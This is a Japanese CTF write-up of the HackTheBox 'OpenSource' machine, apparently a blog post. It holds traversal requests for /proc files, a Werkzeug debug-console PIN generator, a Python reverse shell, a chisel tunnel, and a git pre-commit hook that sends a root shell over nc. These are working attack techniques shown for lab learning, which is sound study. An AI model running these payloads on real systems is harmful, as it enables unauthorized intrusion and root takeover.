🔥

HackTheBox OpenSource

2022/10/14に公開

OpenSource

侵入

nmap

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.164 -oN nmap.log
PORT     STATE    SERVICE REASON         VERSION
22/tcp   open     ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp   open     http    syn-ack ttl 62 Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
3000/tcp filtered ppp     no-response

22、80番を発見

web


Web ページの下を見ると、zip ファイルがダウンロードできたので、unzip で中身を見る

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ unzip -l source.zip
Archive:  source.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2022-04-28 20:34   app/app/templates/
     1666  2022-04-28 20:34   app/app/templates/success.html
     1631  2022-04-28 20:34   app/app/templates/upload.html
     5533  2022-04-28 20:34   app/app/templates/index.html
      816  2022-04-28 20:34   app/app/utils.py
      332  2022-04-28 20:34   app/app/configuration.py
      141  2022-04-28 20:34   app/run.py
        0  2022-04-28 20:34   app/public/
        0  2022-04-28 20:34   app/public/uploads/
        0  2022-04-28 20:46   app/.vscode/
        0  2022-04-28 20:34   app/INSTALL.md
      110  2022-04-28 20:40   build-docker.sh
        0  2022-04-28 20:34   config/
      253  2022-04-28 20:34   config/supervisord.conf
      574  2022-04-28 21:50   Dockerfile

ソースコードの一覧を確認できた

ダウンロードの下に、ファイルアップロードできるページを発見
色々試したが、脆弱性は確認できなかった

gobuster

ディレクトリ探索を行う

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ gobuster dir -u http://10.10.11.164/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log 2>/dev/null
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.164/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/10/13 15:24:39 Starting gobuster in directory enumeration mode
===============================================================
/console              (Status: 200) [Size: 1563]
/download             (Status: 200) [Size: 2489147]
===============================================================
2022/10/13 15:29:55 Finished
===============================================================

console と download を発見。download は zip ファイルがダウンロードできる

console


PIN がないと、ロックが解除できない

Werkzeug

今回のボックスでは、Werkzeug が使用されているので、PIN がどうにかできないか調べる

In some occasions the /console endpoint is going to be protected by a pin.
Here you can find how to generate this pin:

HackTricks で調べてみると、参考記事を発見
参考記事 -> https://www.daehee.com/werkzeug-console-pin-exploit/

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ cat exploit.py
import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
    '2485377892358',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'b9c3a991-c6ae-4915-82e0-770f6aba6613a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

記事に従って、上記のようなファイルを作成。一つずつ確認していこう

'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None)

ここは特に問題ないと思うが、参考記事と違うのは、python が3.10であることだ。これは、nmap の出力からも確認できている

private_bits = [
    '2485377892358',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'b9c3a991-c6ae-4915-82e0-770f6aba6613a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd'# get_machine_id(), /etc/machine-id
]

ここでは、MAC アドレスと、machine-id を入力している

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.17.0.1       0x1         0x2         02:42:60:00:e4:f1     *        eth0

まず、HackTricks が示すように、/arp にアクセスし、デバイスID を取得

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//sys/class/net/eth0/address
02:42:ac:11:00:06

デバイスID を使用し、MAC アドレスを取得

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ python3           
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x0242ac110006)
2485377892358

取得した MAC アドレスを10進数に変換し、PIN 取得に使用する

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//proc/sys/kernel/random/boot_id  
b9c3a991-c6ae-4915-82e0-770f6aba6613

次に、machine-id も同じように、/boot_id にアクセスすることで取得

get_machine_id() read the value in /etc/machine-id or
/proc/sys/kernel/random/boot_id and return directly if there is, sometimes it
might be required to append a piece of information within /proc/self/cgroup
that you find at the end of the first line (after the third slash)

HackTricks にも書かれているように、machine-id だけでなく、cgroup の情報も必要

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//proc/self/cgroup              
12:cpuset:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
11:pids:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
10:blkio:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
9:net_cls,net_prio:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
8:devices:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
7:cpu,cpuacct:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
6:rdma:/
5:memory:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
4:hugetlb:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
3:perf_event:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
2:freezer:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
1:name=systemd:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
0::/system.slice/snap.docker.dockerd.service

/cgroup にアクセスし、情報の取得に成功

/..//proc/self/cgroup

先程から、「..//」 というパスを使用しているが、これには理由がある

┌──(kali㉿kali)-[~/Desktop/OpenSource/app/app]
└─$ cat views.py       
import os

from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app

@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

まず、views.py を確認すると、パスに対して、get_file_name 関数が使用されていることがわかる

┌──(kali㉿kali)-[~/Desktop/OpenSource/app/app]
└─$ cat utils.py 
import time

def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")

実際に、get_file_name 関数を確認すると、「../」という文字を置換しており、ディレクトリトラバーサルの対策をおこなっていることがわかる

/..//proc/self/cgroup

なので、こういったパスを使用し、置換を回避している
ここまでで、入力する情報は全て揃ったが、うまくいかない

h = hashlib.sha1()

参考記事では、md5 が使用されているのだが、ここを sha1 に変更する必要がある

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ python3 exploit.py
373-970-798

実行すると PIN を取得できる

PIN を入力することで、コンソールにログインできた

root(コンテナ) としてのシェル

RCE

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.12",5555));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

上記のコマンドを console で実行

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.164] 58174
/bin/sh: can't access tty; job control turned off
/app # whoami
root

侵入成功

列挙

chisel

今回侵入したのは Docker コンテナであり、ホストへの侵入を試みる

/app # wget 127.0.0.1:3000
172.17.0.1 - - [13/Oct/2022 08:18:03] "GET / HTTP/1.1" 200 -
Connecting to 127.0.0.1:3000 (127.0.0.1:3000)
wget: can't connect to remote host (127.0.0.1): Connection refused

初めの nmap を実行した際に、3000番を確認していたが、接続できない

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH.
Single executable including both client and server. Written in Go (golang).
Chisel is mainly useful for passing through firewalls, though it can also be 
used to provide a secure endpoint into your network.

トンネルを作成し、アクセスするために、chisel を使用する
GitHub -> https://github.com/jpillora/chisel/releases

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ ./chisel_1.7.7_linux_amd64 server -p 8000 --reverse

kali 側でサーバモードを実行する

/tmp # ./chisel_1.7.7_linux_amd64 client 10.10.14.12:8000 R:3000:172.17.0.1:3000

ボックス側に wget で chisel をダウンロードし、クライアントとして実行

アクセスに成功した

git

3000番でログイン画面を発見したが、認証情報を持っていないので再び列挙する

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git log --raw      
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:55:55 2022 +0200

    clean up dockerfile for production use

:100644 100644 76c7768 5b0553c M        Dockerfile

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial

:000000 100644 0000000 76c7768 A        Dockerfile
:000000 100644 0000000 e69de29 A        app/INSTALL.md
:000000 100644 0000000 5c2ecc0 A        app/app/__init__.py
:000000 100644 0000000 877f291 A        app/app/configuration.py

git があることを思い出したので、履歴を見てみると、2つのコミットを発見

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git diff ee9d9 2c67a52                                                                                               130 ⨯
diff --git a/Dockerfile b/Dockerfile
index 76c7768..5b0553c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,7 +29,6 @@ ENV PYTHONDONTWRITEBYTECODE=1
 
 # Set mode
 ENV MODE="PRODUCTION"
-# ENV FLASK_DEBUG=1
 
 # Run supervisord
 CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

違いを確認してみたが、FLASK をデバッグモードにする変数を削除していただけだった

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git branch -a                                                            
  dev
* public

他にブランチがないか調べてみると、dev を発見

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git log --raw   
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

:100644 100644 76c7768 0875eda M        Dockerfile

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

:000000 100644 0000000 e50a290 A        .gitignore
:100644 000000 5975e3f 0000000 D        app/.vscode/settings.json

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

:000000 100644 0000000 5975e3f A        app/.vscode/settings.json
:100644 100644 f2744c6 0f3cc37 M        app/app/views.py

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial

:000000 100644 0000000 76c7768 A        Dockerfile
:000000 100644 0000000 e69de29 A        app/INSTALL.md
:000000 100644 0000000 5c2ecc0 A        app/app/__init__.py
:000000 100644 0000000 877f291 A        app/app/configuration.py

再度履歴を確認すると、4つのコミットを発見

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git diff be4da719 a76f8f7 
diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index e50a290..0000000
+{
+  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+  "http.proxyStrictSSL": false
+}

違いを確認すると、dev01 の認証情報と思われる文字の削除を確認

Soulless_Developer#2022 をパスワードとして、ログインが成功

探索していくと、SSHキーを発見

dev01 としてのシェル

SSH

先ほど、取得した SSH キーを使用

┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ ssh -i id_rsa dev01@10.10.11.164                                   
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Oct 14 06:04:21 UTC 2022

  System load:  1.97              Processes:              238
  Usage of /:   75.3% of 3.48GB   Users logged in:        0
  Memory usage: 16%               IP address for eth0:    10.10.11.164
  Swap usage:   0%                IP address for docker0: 172.17.0.1


16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ whoami
dev01

接続成功

user フラグ

dev01@opensource:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

権限昇格

pspy64

sudo も linpeas も効果を示さなかったので、pspy64 を実行する

2022/10/14 06:15:01 CMD: UID=0    PID=8266   | /bin/bash /usr/local/bin/git-sync 
2022/10/14 06:15:01 CMD: UID=0    PID=8265   | /bin/sh -c /usr/local/bin/git-sync

cron ジョブで、git-sync が定期的に実行されていることがわかった
git-sync は、ホームディレクトリのバックアップを担当しているスクリプト

フックは、Gitディレクトリの hooks サブディレクトリ(一般的なプロジェクトでは、.git/hooks )に格納され
ています。 git init で新しいリポジトリを初期化する時には、Gitに同梱されているスクリプトのサンプルがこ
の hooks ディレクトリに格納されます。サンプルの多くはそのままでも十分有用ですし、また、各スクリプトの入
力値に関するドキュメントもついています。 サンプルは全てシェルスクリプトで書かれており、その中の一部では
Perl も使われています。ですが、どんなスクリプトでも、実行可能かつ適切に命名されてさえいれば、問題なく
動きます。Ruby や Python などで書くこともできます。 これら同梱のフックスクリプトを使用する場合は、ファ
イル名の末尾が .sample となっていますので適宜リネームしてください。

これは、git hooks を悪用できるかもしれない

dev01@opensource:~/.git/hooks$ ls -l
total 48
-rwxrwxr-x 1 dev01 dev01  478 Mar 23  2022 applypatch-msg.sample
-rwxrwxr-x 1 dev01 dev01  896 Mar 23  2022 commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 3327 Mar 23  2022 fsmonitor-watchman.sample
-rwxrwxr-x 1 dev01 dev01  189 Mar 23  2022 post-update.sample
-rwxrwxr-x 1 dev01 dev01  424 Mar 23  2022 pre-applypatch.sample
-rwxrwxr-x 1 dev01 dev01 1642 Mar 23  2022 pre-commit.sample
-rwxrwxr-x 1 dev01 dev01 1492 Mar 23  2022 prepare-commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 1348 Mar 23  2022 pre-push.sample
-rwxrwxr-x 1 dev01 dev01 4898 Mar 23  2022 pre-rebase.sample
-rwxrwxr-x 1 dev01 dev01  544 Mar 23  2022 pre-receive.sample
-rwxrwxr-x 1 dev01 dev01 3610 Mar 23  2022 update.sample

sample ファイルは、hooks ディレクトリにある

root としてのシェル

pre-commit

dev01@opensource:~/.git/hooks$ cat pre-commit
#!/bin/sh
#
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 5555 >/tmp/f

pre-commit.sample から .sample を削除し、上記のようにファイルの内容を変更

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.164] 41612
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

権限昇格成功

root フラグ

root@opensource:~# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得成功

所感

今回のボックスは、git を使用したボックスであり、コミット履歴から認証情報を見つけるまでは簡単だったが、権限昇格を行う際にかなり苦労した。また、chisel をボックスに送るとき、ファイルサイズがかなり大きいためなかなかうまくいかなかった。この問題の解決策を見つけたい。

Discussion